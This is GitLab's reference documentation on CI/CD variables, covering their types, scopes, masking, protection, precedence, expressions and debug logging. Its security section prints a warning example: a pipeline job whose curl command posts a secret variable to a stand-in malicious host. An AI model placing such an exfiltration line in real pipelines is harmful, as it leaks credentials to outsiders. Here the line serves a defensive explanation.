---
stage: Verify
group: Continuous Integration
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
# GitLab CI/CD variables **(FREE)**
CI/CD variables are a type of environment variable. You can use them to:
- Control the behavior of jobs and [pipelines](../pipelines/index.md).
- Store values you want to re-use.
- Avoid hard-coding values in your `.gitlab-ci.yml` file.
You can use [predefined CI/CD variables](#predefined-cicd-variables) or define custom:
- [Variables in the `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file).
- [Project CI/CD variables](#project-cicd-variables).
- [Group CI/CD variables](#group-cicd-variables).
- [Instance CI/CD variables](#instance-cicd-variables).
> For more information about advanced use of GitLab CI/CD:
>
> - Get to productivity faster with these [7 advanced GitLab CI workflow hacks](https://about.gitlab.com/webcast/7cicd-hacks/)
> shared by GitLab engineers.
> - Learn how the Cloud Native Computing Foundation (CNCF) [eliminates the complexity](https://about.gitlab.com/customers/cncf/)
> of managing projects across many cloud providers with GitLab CI/CD.
## Predefined CI/CD variables
GitLab CI/CD has a [default set of predefined CI/CD variables](predefined_variables.md)
you can use in pipelines configuration and job scripts.
### Use predefined CI/CD variables
You can use predefined CI/CD variables in your `.gitlab-ci.yml` without declaring them first.
This example shows how to output a job's stage by using the `CI_JOB_STAGE`
predefined variable:
```yaml
test_variable:
stage: test
script:
- echo $CI_JOB_STAGE
```
The script outputs the `stage` for the `test_variable`, which is `test`:
## Custom CI/CD variables
You can create custom CI/CD variables:
- For a project:
- [In the project's `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file).
- [In the project's settings](#project-cicd-variables).
- [With the API](../../api/project_level_variables.md).
- For all projects in a group [in the group's setting](#group-cicd-variables).
- For all projects in a GitLab instance [in the instance's settings](#instance-cicd-variables).
You can [override variable values manually for a specific pipeline](../jobs/index.md#specifying-variables-when-running-manual-jobs),
or have them [prefilled in manual pipelines](../pipelines/index.md#prefill-variables-in-manual-pipelines).
There are two types of variables: [`File` or `Variable`](#cicd-variable-types).
Variable names are limited by the [shell the runner uses](https://docs.gitlab.com/runner/shells/index.html)
to execute scripts. Each shell has its own set of reserved variable names.
Make sure each variable is defined for the [scope you want to use it in](where_variables_can_be_used.md).
### Create a custom CI/CD variable in the `.gitlab-ci.yml` file
To create a custom variable in the [`.gitlab-ci.yml`](../yaml/README.md#variables) file,
define the variable and value with `variables` keyword.
You can use the `variables` keyword in a job or at the top level of the `.gitlab-ci.yml` file.
If the variable is at the top level, it's globally available and all jobs can use it.
If it's defined in a job, only that job can use it.
```yaml
variables:
TEST_VAR: "All jobs can use this variable's value"
job1:
variables:
TEST_VAR_JOB: "Only job1 can use this variable's value"
script:
- echo $TEST_VAR and $TEST_VAR_JOB
```
Variables saved in the `.gitlab-ci.yml` file should store only non-sensitive project
configuration, like a `RAILS_ENV` or `DATABASE_URL` variable. These variables are
visible in the repository. Store sensitive variables containing secrets, keys, and so on
in project settings.
Variables saved in the `.gitlab-ci.yml` file are also available in [service containers](../docker/using_docker_images.md).
If you don't want globally defined variables to be available in a job, set `variables`
to `{}`:
```yaml
job1:
variables: {}
script:
- echo This job does not need any variables
```
You can use variables to help define other variables. Use `$$` to ignore a variable
name inside another variable:
```yaml
variables:
FLAGS: '-al'
LS_CMD: 'ls $FLAGS $$TMP_DIR'
script:
- 'eval $LS_CMD' # Executes 'ls -al $TMP_DIR'
```
Use the [`value` and `description`](../yaml/README.md#prefill-variables-in-manual-pipelines)
keywords to define [variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines)
for [manually-triggered pipelines](../pipelines/index.md#run-a-pipeline-manually).
### Project CI/CD variables
You can add CI/CD variables to a project's settings. Only project members with
[maintainer permissions](../../user/permissions.md#project-members-permissions)
can add or update project CI/CD variables. To keep a CI/CD variable secret, put it
in the project settings, not in the `.gitlab-ci.yml` file.
To add or update variables in the project settings:
1. Go to your project's **Settings > CI/CD** and expand the **Variables** section.
1. Select the **Add Variable** button and fill in the details:
- **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`.
- **Value**: No limitations.
- **Type**: [`File` or `Variable`](#cicd-variable-types).
- **Environment scope**: `All`, or specific [environments](../environments/index.md).
- **Protect variable** (Optional): If selected, the variable is only available
in pipelines that run on protected branches or tags.
- **Mask variable** (Optional): If selected, the variable's **Value** is masked
in job logs. The variable fails to save if the value does not meet the
[masking requirements](#mask-a-cicd-variable).
After you create a variable, you can use it in the `.gitlab-ci.yml` file:
```yaml
test_variable:
stage: test
script:
- echo $CI_JOB_STAGE # calls a predefined variable
- echo $TEST # calls a custom variable of type `env_var`
- echo $GREETING # calls a custom variable of type `file` that contains the path to the temp file
- cat $GREETING # the temp file itself contains the variable value
```
The output is:
### Group CI/CD variables
> - Introduced in GitLab 9.4.
> - Support for [environment scopes](https://gitlab.com/gitlab-org/gitlab/-/issues/2874) added to GitLab Premium in 13.11
To make a CI/CD variable available to all projects in a group, define a group CI/CD variable.
Use group variables to store secrets like passwords, SSH keys, and credentials, if you:
- Do **not** use an external key store.
- Use the GitLab [integration with HashiCorp Vault](../secrets/index.md).
To add a group variable:
1. In the group, go to **Settings > CI/CD**.
1. Select the **Add Variable** button and fill in the details:
- **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`.
- **Value**: No limitations.
- **Type**: [`File` or `Variable`](#cicd-variable-types).
- **Environment scope** (optional): `All`, or specific [environments](#limit-the-environment-scope-of-a-cicd-variable).
- **Protect variable** (Optional): If selected, the variable is only available
in pipelines that run on protected branches or tags.
- **Mask variable** (Optional): If selected, the variable's **Value** is masked
in job logs. The variable fails to save if the value does not meet the
[masking requirements](#mask-a-cicd-variable).
To view the group-level variables available in a project:
1. In the project, go to **Settings > CI/CD**.
1. Expand the **Variables** section.
Variables from [subgroups](../../user/group/subgroups/index.md) are recursively
inherited.
### Instance CI/CD variables
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14108) in GitLab 13.0.
> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/299879) in GitLab 13.11.
To make a CI/CD variable available to all projects and groups in a GitLab instance,
define an instance CI/CD variable.
You can define instance variables via the UI or [API](../../api/instance_level_ci_variables.md).
To add an instance variable:
1. Navigate to your Admin Area's **Settings > CI/CD** and expand the **Variables** section.
1. Select the **Add variable** button, and fill in the details:
- **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`.
- **Value**: [In GitLab 13.3 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/220028),
10,000 characters is allowed. This is also bounded by the limits of the selected
runner operating system. In GitLab 13.0 to 13.2, 700 characters is allowed.
- **Type**: [`File` or `Variable`](#cicd-variable-types).
- **Protect variable** (Optional): If selected, the variable is only available
in pipelines that run on protected branches or tags.
- **Mask variable** (Optional): If selected, the variable's **Value** is not shown
in job logs. The variable is not saved if the value does not meet the [masking requirements](#mask-a-cicd-variable).
### CI/CD variable types
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/46806) in GitLab 11.11.
All predefined CI/CD variables and variables defined in the `.gitlab-ci.yml` file
are `Variable` type. Project, group and instance CI/CD variables can be `Variable`
or `File` type.
`Variable` type variables:
- Consist of a key and value pair.
- Are made available in jobs as environment variables, with:
- The CI/CD variable key as the environment variable name.
- The CI/CD variable value as the environment variable value.
Use `File` type CI/CD variables for tools that need a file as input.
`File` type variables:
- Consist of a key, value and file.
- Are made available in jobs as environment variables, with
- The CI/CD variable key as the environment variable name.
- The CI/CD variable value saved to a temporary file.
- The path to the temporary file as the environment variable value.
Some tools like [the AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-envvars.html)
and [`kubectl`](https://kubernetes.io/docs/concepts/configuration/organize-cluster-access-kubeconfig/#the-kubeconfig-environment-variable)
use `File` type variables for configuration.
For example, if you have the following variables:
- A variable of type `Variable`: `KUBE_URL` with the value `https://example.com`.
- A variable of type `File`: `KUBE_CA_PEM` with a certificate as the value.
Use the variables in a job script like this:
```shell
kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM"
```
An alternative to `File` type variables is to:
- Read the value of a CI/CD variable (`variable` type).
- Save the value in a file.
- Use that file in your script.
```shell
# Read certificate stored in $KUBE_CA_PEM variable and save it in a new file
echo "$KUBE_CA_PEM" > "$(pwd)/kube.ca.pem"
# Pass the newly created file to kubectl
kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$(pwd)/kube.ca.pem"
```
### Mask a CI/CD variable
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/13784) in GitLab 11.10
You can mask a project, group, or instance CI/CD variable so the value of the variable
does not display in job logs.
To mask a variable:
1. Go to **Settings > CI/CD** in the project, group or instance admin area.
1. Expand the **Variables** section.
1. Next to the variable you want to protect, select **Edit**.
1. Select the **Mask variable** check box.
1. Select **Update variable**.
The value of the variable must:
- Be a single line.
- Be 8 characters or longer, consisting only of:
- Characters from the Base64 alphabet (RFC4648).
- The `@` and `:` characters ([In GitLab 12.2](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/63043) and later).
- The `.` character ([In GitLab 12.10](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/29022) and later).
- Not match the name of an existing predefined or custom CI/CD variable.
### Protect a CI/CD variable
You can protect a project, group or instance CI/CD variable so it is only passed
to pipelines running on [protected branches](../../user/project/protected_branches.md)
or [protected tags](../../user/project/protected_tags.md).
To protect a variable:
1. Go to **Settings > CI/CD** in the project, group or instance admin area.
1. Expand the **Variables** section.
1. Next to the variable you want to protect, select **Edit**.
1. Select the **Protect variable** check box.
1. Select **Update variable**.
The variable is available for all subsequent pipelines.
### CI/CD variable security
Malicious code pushed to your `.gitlab-ci.yml` file could compromise your variables
and send them to a third party server regardless of the masked setting. If the pipeline
runs on a [protected branch](../../user/project/protected_branches.md) or
[protected tag](../../user/project/protected_tags.md), malicious code can compromise protected variables.
Review all merge requests that introduce changes to the `.gitlab-ci.yml` file before you:
- [Run a pipeline in the parent project for a merge request submitted from a forked project](../merge_request_pipelines/index.md#run-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project).
- Merge the changes.
The following example shows malicious code in a `.gitlab-ci.yml` file:
```yaml
build:
script:
- curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"
```
### Custom variables validated by GitLab
Some variables are listed in the UI so you can choose them more quickly.
| Variable | Allowed Values | Introduced in |
|-------------------------|----------------------------------------------------|---------------|
| `AWS_ACCESS_KEY_ID` | Any | 12.10 |
| `AWS_DEFAULT_REGION` | Any | 12.10 |
| `AWS_SECRET_ACCESS_KEY` | Any | 12.10 |
WARNING:
When you store credentials, there are [security implications](#cicd-variable-security).
If you use AWS keys for example, follow the [Best practices for managing AWS access keys](https://docs.aws.amazon.com/general/latest/gr/aws-access-keys-best-practices.html).
## Use CI/CD variables in job scripts
All CI/CD variables are set as environment variables in the job's environment.
You can use variables in job scripts with the standard formatting for each environment's
shell.
To access environment variables, use the syntax for your [runner executor's shell](https://docs.gitlab.com/runner/executors/).
### Use variables with Bash, `sh` and similar
To access environment variables in Bash, `sh`, and similar shells, prefix the
CI/CD variable with (`$`):
```yaml
job_name:
script:
- echo $CI_JOB_ID
```
### Use variables with PowerShell
To access variables in a Windows PowerShell environment, including environment
variables set by the system, prefix the variable name with (`$env:`) or (`$`):
```yaml
job_name:
script:
- echo $env:CI_JOB_ID
- echo $CI_JOB_ID
- echo $env:PATH
```
In [some cases](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4115#note_157692820)
environment variables might need to be surrounded by quotes to expand properly:
```yaml
job_name:
script:
- D:\\qislsf\\apache-ant-1.10.5\\bin\\ant.bat "-DsosposDailyUsr=$env:SOSPOS_DAILY_USR" portal_test
```
### Windows Batch
To access environment variables in Windows Batch, surround the variable
with `%`:
```yaml
job_name:
script:
- echo %CI_JOB_ID%
```
You can also surround the variable with `!` for [delayed expansion](https://ss64.com/nt/delayedexpansion.html).
Delayed expansion might be needed for variables that contain white spaces or newlines.
```yaml
job_name:
script:
- echo !ERROR_MESSAGE!
```
### List all environment variables
You can list all environment variables available to a script with the `export` command
in Bash or `dir env:` in PowerShell. This exposes the values of **all** available
variables, which can be a [security risk](#cicd-variable-security).
[Masked variables](#mask-a-cicd-variable) display as `[masked]`.
For example:
```yaml
job_name:
script:
- export
# - 'dir env:' # Use this for PowerShell
```
Example job log output:
```shell
export CI_JOB_ID="50"
export CI_COMMIT_SHA="1ecfd275763eff1d6b4844ea3168962458c9f27a"
export CI_COMMIT_SHORT_SHA="1ecfd275"
export CI_COMMIT_REF_NAME="master"
export CI_REPOSITORY_URL="https://gitlab-ci-token:[masked]@example.com/gitlab-org/gitlab-foss.git"
export CI_COMMIT_TAG="1.0.0"
export CI_JOB_NAME="spec:other"
export CI_JOB_STAGE="test"
export CI_JOB_MANUAL="true"
export CI_JOB_TRIGGERED="true"
export CI_JOB_TOKEN="[masked]"
export CI_PIPELINE_ID="1000"
export CI_PIPELINE_IID="10"
export CI_PAGES_DOMAIN="gitlab.io"
export CI_PAGES_URL="https://gitlab-org.gitlab.io/gitlab-foss"
export CI_PROJECT_ID="34"
export CI_PROJECT_DIR="/builds/gitlab-org/gitlab-foss"
export CI_PROJECT_NAME="gitlab-foss"
export CI_PROJECT_TITLE="GitLab FOSS"
export CI_PROJECT_NAMESPACE="gitlab-org"
export CI_PROJECT_ROOT_NAMESPACE="gitlab-org"
export CI_PROJECT_PATH="gitlab-org/gitlab-foss"
export CI_PROJECT_URL="https://example.com/gitlab-org/gitlab-foss"
export CI_REGISTRY="registry.example.com"
export CI_REGISTRY_IMAGE="registry.example.com/gitlab-org/gitlab-foss"
export CI_REGISTRY_USER="gitlab-ci-token"
export CI_REGISTRY_PASSWORD="[masked]"
export CI_RUNNER_ID="10"
export CI_RUNNER_DESCRIPTION="my runner"
export CI_RUNNER_TAGS="docker, linux"
export CI_SERVER="yes"
export CI_SERVER_URL="https://example.com"
export CI_SERVER_HOST="example.com"
export CI_SERVER_PORT="443"
export CI_SERVER_PROTOCOL="https"
export CI_SERVER_NAME="GitLab"
export CI_SERVER_REVISION="70606bf"
export CI_SERVER_VERSION="8.9.0"
export CI_SERVER_VERSION_MAJOR="8"
export CI_SERVER_VERSION_MINOR="9"
export CI_SERVER_VERSION_PATCH="0"
export GITLAB_USER_EMAIL="user@example.com"
export GITLAB_USER_ID="42"
...
```
## Pass an environment variable to another job
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/22638) in GitLab 13.0.
> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/217834) in GitLab 13.1.
You can pass environment variables from one job to another job in a later stage.
These variables cannot be used as CI/CD variables to configure a pipeline, but
they can be used in job scripts.
1. In the job script, save the variable as a `.env` file.
1. Save the `.env` file as an [`artifacts:reports:dotenv`](../yaml/README.md#artifactsreportsdotenv)
artifact.
1. Set a job in a later stage to receive the artifact by using the [`dependencies`](../yaml/README.md#dependencies)
or the [`needs`](../yaml/README.md#artifact-downloads-with-needs) keywords.
1. The later job can then [use the variable in scripts](#use-cicd-variables-in-job-scripts).
For example, with the [`dependencies`](../yaml/README.md#dependencies) keyword:
```yaml
build:
stage: build
script:
- echo "BUILD_VERSION=hello" >> build.env
artifacts:
reports:
dotenv: build.env
deploy:
stage: deploy
script:
- echo $BUILD_VERSION # Output is: 'hello'
dependencies:
- build
```
For example, with the [`needs`](../yaml/README.md#artifact-downloads-with-needs) keyword:
```yaml
build:
stage: build
script:
- echo "BUILD_VERSION=hello" >> build.env
artifacts:
reports:
dotenv: build.env
deploy:
stage: deploy
script:
- echo $BUILD_VERSION # Output is: 'hello'
needs:
- job: build
artifacts: true
```
## CI/CD variable precedence
You can use CI/CD variables with the same name in different places, but the values
can overwrite each other. The type of variable and where they are defined determines
which variables take precedence.
The order of precedence for variables is (from highest to lowest):
1. [Trigger variables](../triggers/README.md#making-use-of-trigger-variables),
[scheduled pipeline variables](../pipelines/schedules.md#using-variables),
and [manual pipeline run variables](#override-a-variable-when-running-a-pipeline-manually).
1. Project [variables](#custom-cicd-variables).
1. Group [variables](#group-cicd-variables).
1. Instance [variables](#instance-cicd-variables).
1. [Inherited variables](#pass-an-environment-variable-to-another-job).
1. Variables defined in jobs in the `.gitlab-ci.yml` file.
1. Variables defined outside of jobs (globally) in the `.gitlab-ci.yml` file.
1. [Deployment variables](#deployment-variables).
1. [Predefined variables](predefined_variables.md).
In the following example, when the script in `job1` executes, the value of `API_TOKEN` is `secure`.
Variables defined in jobs have a higher precedence than variables defined globally.
```yaml
variables:
API_TOKEN: "default"
job1:
variables:
API_TOKEN: "secure"
script:
- echo "The variable value is $API_TOKEN"
```
## Override a defined CI/CD variable
You can override the value of a variable when you:
1. [Run a pipeline manually](#override-a-variable-when-running-a-pipeline-manually) in the UI.
1. Create a pipeline by using [the API](../../api/pipelines.md#create-a-new-pipeline).
1. Run a job manually in the UI.
1. Use [push options](../../user/project/push_options.md#push-options-for-gitlab-cicd).
1. Trigger a pipeline by using [the API](../triggers/README.md#making-use-of-trigger-variables).
1. Pass variables to a [downstream pipeline](../multi_project_pipelines.md#passing-cicd-variables-to-a-downstream-pipeline).
The pipeline variables declared in these events take [priority over other variables](#cicd-variable-precedence).
### Override a variable when running a pipeline manually
You can override the value of a CI/CD variable when you
[run a pipeline manually](../pipelines/index.md#run-a-pipeline-manually).
1. Go to your project's **CI/CD > Pipelines** and select **Run pipeline**.
1. Choose the branch you want to run the pipeline for.
1. Input the variable and its value in the UI.
### Restrict who can override variables
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/295234) in GitLab 13.8.
You can grant permission to override variables to [maintainers](../../user/permissions.md#project-features) only. When other users try to run a pipeline
with overridden variables, they receive the `Insufficient permissions to set pipeline variables`
error message.
If you [store your CI/CD configurations in a different repository](../../ci/pipelines/settings.md#custom-cicd-configuration-path),
use this setting for control over the environment the pipeline runs in.
You can enable this feature by using [the projects API](../../api/projects.md#edit-project)
to enable the `restrict_user_defined_variables` setting. The setting is `disabled` by default.
## Limit the environment scope of a CI/CD variable
You can limit the environment scope of a variable by
[defining which environments](../environments/index.md) it can be available for.
To learn more about scoping environments, see [Scoping environments with specs](../environments/index.md#scoping-environments-with-specs).
## Deployment variables
Integrations that are responsible for deployment configuration can define their own
variables that are set in the build environment. These variables are only defined
for [deployment jobs](../environments/index.md).
For example, the [Kubernetes integration](../../user/project/clusters/index.md#deployment-variables)
defines deployment variables that you can use with the integration.
The [documentation for each integration](../../user/project/integrations/overview.md)
explains if the integration has any deployment variables available.
## Auto DevOps environment variables
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/49056) in GitLab 11.7.
You can configure [Auto DevOps](../../topics/autodevops/index.md) to pass CI/CD variables
to a running application.
To make a CI/CD variable available as an environment variable in the running application's container,
[prefix the variable key](../../topics/autodevops/customize.md#application-secret-variables)
with `K8S_SECRET_`.
CI/CD variables with multi-line values are not supported.
## CI/CD variable expressions
> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/37397) in GitLab 10.7 for [the `only` and `except` CI keywords](../yaml/README.md#onlyexcept-advanced)
> - [Expanded](https://gitlab.com/gitlab-org/gitlab/-/issues/27863) in GitLab 12.3 with [the `rules` keyword](../yaml/README.md#rules)
Use variable expressions to limit which jobs are created
in a pipeline after changes are pushed to GitLab.
In `.gitlab-ci.yml`, variable expressions work with both:
- [`rules`](../yaml/README.md#rules), which is the recommended approach, and
- [`only` and `except`](../yaml/README.md#onlyexcept-basic), which are candidates for deprecation.
This is particularly useful in combination with variables and triggered
pipeline variables.
```yaml
deploy:
script: cap staging deploy
environment: staging
only:
variables:
- $RELEASE == "staging"
- $STAGING
```
Each expression provided is evaluated before a pipeline is created.
If any of the conditions in `variables` evaluates to true when using `only`,
a new job is created. If any of the expressions evaluates to true
when `except` is being used, a job is not created.
This follows the usual rules for [`only` / `except` policies](../yaml/README.md#onlyexcept-advanced).
### Syntax of CI/CD variable expressions
Below you can find supported syntax reference.
#### Equality matching using a string
Examples:
- `$VARIABLE == "some value"`
- `$VARIABLE != "some value"` (introduced in GitLab 11.11)
You can use equality operator `==` or `!=` to compare a variable content to a
string. We support both, double quotes and single quotes to define a string
value, so both `$VARIABLE == "some value"` and `$VARIABLE == 'some value'`
are supported. `"some value" == $VARIABLE` is correct too.
#### Checking for an undefined value
Examples:
- `$VARIABLE == null`
- `$VARIABLE != null` (introduced in GitLab 11.11)
It sometimes happens that you want to check whether a variable is defined
or not. To do that, you can compare a variable to `null` keyword, like
`$VARIABLE == null`. This expression evaluates to true if
variable is not defined when `==` is used, or to false if `!=` is used.
#### Checking for an empty variable
Examples:
- `$VARIABLE == ""`
- `$VARIABLE != ""` (introduced in GitLab 11.11)
To check if a variable is defined but empty, compare it to:
- An empty string: `$VARIABLE == ''`
- A non-empty string: `$VARIABLE != ""`
#### Comparing two variables
Examples:
- `$VARIABLE_1 == $VARIABLE_2`
- `$VARIABLE_1 != $VARIABLE_2` (introduced in GitLab 11.11)
It is possible to compare two variables. This compares values
of these variables.
#### Variable presence check
Example: `$STAGING`
To create a job when there is some variable present, meaning it is defined and non-empty,
use the variable name as an expression, like `$STAGING`. If the `$STAGING` variable
is defined, and is non empty, expression evaluates to `true`.
`$STAGING` value needs to be a string, with length higher than zero.
Variable that contains only whitespace characters is not an empty variable.
#### Regex pattern matching
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/43601) in GitLab 11.0
Examples:
- `=~`: True if pattern is matched. Ex: `$VARIABLE =~ /^content.*/`
- `!~`: True if pattern is not matched. Ex: `$VARIABLE_1 !~ /^content.*/` ([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/61900) in GitLab 11.11)
Variable pattern matching with regular expressions uses the
[RE2 regular expression syntax](https://github.com/google/re2/wiki/Syntax).
Expressions evaluate as `true` if:
- Matches are found when using `=~`.
- Matches are *not* found when using `!~`.
Pattern matching is case-sensitive by default. Use `i` flag modifier, like
`/pattern/i` to make a pattern case-insensitive.
#### Conjunction / Disjunction
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/62867) in GitLab 12.0
Examples:
- `$VARIABLE1 =~ /^content.*/ && $VARIABLE2 == "something"`
- `$VARIABLE1 =~ /^content.*/ && $VARIABLE2 =~ /thing$/ && $VARIABLE3`
- `$VARIABLE1 =~ /^content.*/ || $VARIABLE2 =~ /thing$/ && $VARIABLE3`
It is possible to join multiple conditions using `&&` or `||`. Any of the otherwise
supported syntax may be used in a conjunctive or disjunctive statement.
Precedence of operators follows the
[Ruby 2.5 standard](https://ruby-doc.org/core-2.5.0/doc/syntax/precedence_rdoc.html),
so `&&` is evaluated before `||`.
#### Parentheses
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/230938) in GitLab 13.3.
> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/238174) in GitLab 13.5.
It is possible to use parentheses to group conditions. Parentheses have the highest
precedence of all operators. Expressions enclosed in parentheses are evaluated first,
and the result is used for the rest of the expression.
Many nested parentheses can be used to create complex conditions, and the inner-most
expressions in parentheses are evaluated first. For an expression to be valid an equal
number of `(` and `)` need to be used.
Examples:
- `($VARIABLE1 =~ /^content.*/ || $VARIABLE2) && ($VARIABLE3 =~ /thing$/ || $VARIABLE4)`
- `($VARIABLE1 =~ /^content.*/ || $VARIABLE2 =~ /thing$/) && $VARIABLE3`
- `$CI_COMMIT_BRANCH == "my-branch" || (($VARIABLE1 == "thing" || $VARIABLE2 == "thing") && $VARIABLE3)`
### Storing regular expressions in variables
It is possible to store a regular expression in a variable, to be used for pattern matching.
The following example tests whether `$RELEASE` contains either the
string `staging0` or the string `staging1`:
```yaml
variables:
STAGINGRELS: '/staging0|staging1/'
deploy_staging:
script: do.sh deploy staging
environment: staging
rules:
- if: '$RELEASE =~ $STAGINGRELS'
```
NOTE:
The available regular expression syntax is limited. See [related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/35438)
for more details.
If needed, you can use a test pipeline to determine whether a regular expression works in a variable. The example below tests the `^mast.*` regular expression directly,
as well as from in a variable:
```yaml
variables:
MYSTRING: 'master'
MYREGEX: '/^mast.*/'
testdirect:
script: /bin/true
rules:
- if: '$MYSTRING =~ /^mast.*/'
testvariable:
script: /bin/true
rules:
- if: '$MYSTRING =~ $MYREGEX'
```
## Debug logging
> Introduced in GitLab Runner 1.7.
WARNING:
Debug logging can be a serious security risk. The output contains the content of
all variables and other secrets available to the job. The output is uploaded to the
GitLab server and visible in job logs.
You can use debug logging to help troubleshoot problems with pipeline configuration
or job scripts. Debug logging exposes job execution details that are usually hidden
by the runner and makes job logs more verbose. It also exposes all variables and secrets
available to the job.
Before you enable debug logging, make sure only [team members](../../user/permissions.md#project-features)
can view job logs. You should also [delete job logs](../jobs/index.md#view-jobs-in-a-pipeline)
with debug output before you make logs public again.
### Enable Debug logging
To enable debug logging (tracing), set the `CI_DEBUG_TRACE` variable to `true`:
```yaml
job_name:
variables:
CI_DEBUG_TRACE: "true"
```
Example output (truncated):
```shell
...
export CI_SERVER_TLS_CA_FILE="/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE"
if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then
echo $'\''\x1b[32;1mFetching changes...\x1b[0;m'\''
$'\''cd'\'' "/builds/gitlab-examples/ci-debug-trace"
$'\''git'\'' "config" "fetch.recurseSubmodules" "false"
$'\''rm'\'' "-f" ".git/index.lock"
$'\''git'\'' "clean" "-ffdx"
$'\''git'\'' "reset" "--hard"
$'\''git'\'' "remote" "set-url" "origin" "https://gitlab-ci-token:xxxxxxxxxxxxxxxxxxxx@example.com/gitlab-examples/ci-debug-trace.git"
$'\''git'\'' "fetch" "origin" "--prune" "+refs/heads/*:refs/remotes/origin/*" "+refs/tags/*:refs/tags/lds"
++ CI_BUILDS_DIR=/builds
++ export CI_PROJECT_DIR=/builds/gitlab-examples/ci-debug-trace
++ CI_PROJECT_DIR=/builds/gitlab-examples/ci-debug-trace
++ export CI_CONCURRENT_ID=87
++ CI_CONCURRENT_ID=87
++ export CI_CONCURRENT_PROJECT_ID=0
++ CI_CONCURRENT_PROJECT_ID=0
++ export CI_SERVER=yes
++ CI_SERVER=yes
++ mkdir -p /builds/gitlab-examples/ci-debug-trace.tmp
++ echo -n '-----BEGIN CERTIFICATE-----
-----END CERTIFICATE-----'
++ export CI_SERVER_TLS_CA_FILE=/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE
++ CI_SERVER_TLS_CA_FILE=/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE
++ export CI_PIPELINE_ID=52666
++ CI_PIPELINE_ID=52666
++ export CI_PIPELINE_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/pipelines/52666
++ CI_PIPELINE_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/pipelines/52666
++ export CI_JOB_ID=7046507
++ CI_JOB_ID=7046507
++ export CI_JOB_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/-/jobs/379424655
++ CI_JOB_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/-/jobs/379424655
++ export CI_JOB_TOKEN=[MASKED]
++ CI_JOB_TOKEN=[MASKED]
++ export CI_REGISTRY_USER=gitlab-ci-token
++ CI_REGISTRY_USER=gitlab-ci-token
++ export CI_REGISTRY_PASSWORD=[MASKED]
++ CI_REGISTRY_PASSWORD=[MASKED]
++ export CI_REPOSITORY_URL=https://gitlab-ci-token:[MASKED]@gitlab.com/gitlab-examples/ci-debug-trace.git
++ CI_REPOSITORY_URL=https://gitlab-ci-token:[MASKED]@gitlab.com/gitlab-examples/ci-debug-trace.git
++ export CI_JOB_NAME=debug_trace
++ CI_JOB_NAME=debug_trace
++ export CI_JOB_STAGE=test
++ CI_JOB_STAGE=test
++ export CI_NODE_TOTAL=1
++ CI_NODE_TOTAL=1
++ export CI=true
++ CI=true
++ export GITLAB_CI=true
++ GITLAB_CI=true
++ export CI_SERVER_URL=https://gitlab.com:3000
++ CI_SERVER_URL=https://gitlab.com:3000
++ export CI_SERVER_HOST=gitlab.com
++ CI_SERVER_HOST=gitlab.com
++ export CI_SERVER_PORT=3000
++ CI_SERVER_PORT=3000
++ export CI_SERVER_PROTOCOL=https
++ CI_SERVER_PROTOCOL=https
++ export CI_SERVER_NAME=GitLab
++ CI_SERVER_NAME=GitLab
++ export GITLAB_FEATURES=audit_events,burndown_charts,code_owners,contribution_analytics,description_diffs,elastic_search,group_bulk_edit,group_burndown_charts,group_webhooks,issuable_default_templates,issue_weights,jenkins_integration,ldap_group_sync,member_lock,merge_request_approvers,multiple_issue_assignees,multiple_ldap_servers,multiple_merge_request_assignees,protected_refs_for_users,push_rules,related_issues,repository_mirrors,repository_size_limit,scoped_issue_board,usage_quotas,visual_review_app,wip_limits,adjourned_deletion_for_projects_and_groups,admin_audit_log,auditor_user,batch_comments,blocking_merge_requests,board_assignee_lists,board_milestone_lists,ci_cd_projects,cluster_deployments,code_analytics,code_owner_approval_required,commit_committer_check,cross_project_pipelines,custom_file_templates,custom_file_templates_for_namespace,custom_project_templates,custom_prometheus_metrics,cycle_analytics_for_groups,db_load_balancing,default_project_deletion_protection,dependency_proxy,deploy_board,design_management,email_additional_text,extended_audit_events,external_authorization_service_api_management,feature_flags,file_locks,geo,github_project_service_integration,group_allowed_email_domains,group_project_templates,group_saml,issues_analytics,jira_dev_panel_integration,ldap_group_sync_filter,merge_pipelines,merge_request_performance_metrics,merge_trains,metrics_reports,multiple_approval_rules,multiple_group_issue_b